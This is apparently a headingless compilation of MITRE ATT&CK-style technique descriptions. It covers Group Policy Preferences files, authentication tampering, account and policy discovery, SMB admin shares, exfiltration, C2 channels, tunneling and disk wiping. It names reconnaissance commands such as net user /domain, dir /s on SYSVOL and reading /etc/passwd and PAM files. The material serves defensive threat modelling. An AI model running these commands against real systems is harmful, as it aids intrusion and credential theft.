* gpprefdecrypt.py

On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using Ping, tracert, and GET requests to websites.

Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.

Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.

Commands such as net user /domain and net group /domain of the Net utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. PowerShell cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.

An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time)(Citation: Technet Windows Time Service)

System time information may be gathered in a number of ways, such as with Net on Windows by performing net time \hostname to gather the system time on a remote system. The victim’s time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service)

On network devices, Network Device CLI commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)

This information could be useful for performing other techniques, such as executing a file with a Scheduled Task/Job(Citation: RSA EU12 They’re Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. System Location Discovery). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as ‘pass123’; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a Network Device CLI on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)

Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `SYSVOLPolicies`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain Policy Modification) for their benefit.

Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.(Citation: Microsoft Admin Shares)

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)

Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)

Protocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)

Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol Impersonation to further conceal C2 communications and infrastructure.

Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.

On a network devices, adversaries may reformat the file system using Network Device CLI commands such as `format`.(Citation: format_cmd_cisco)

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)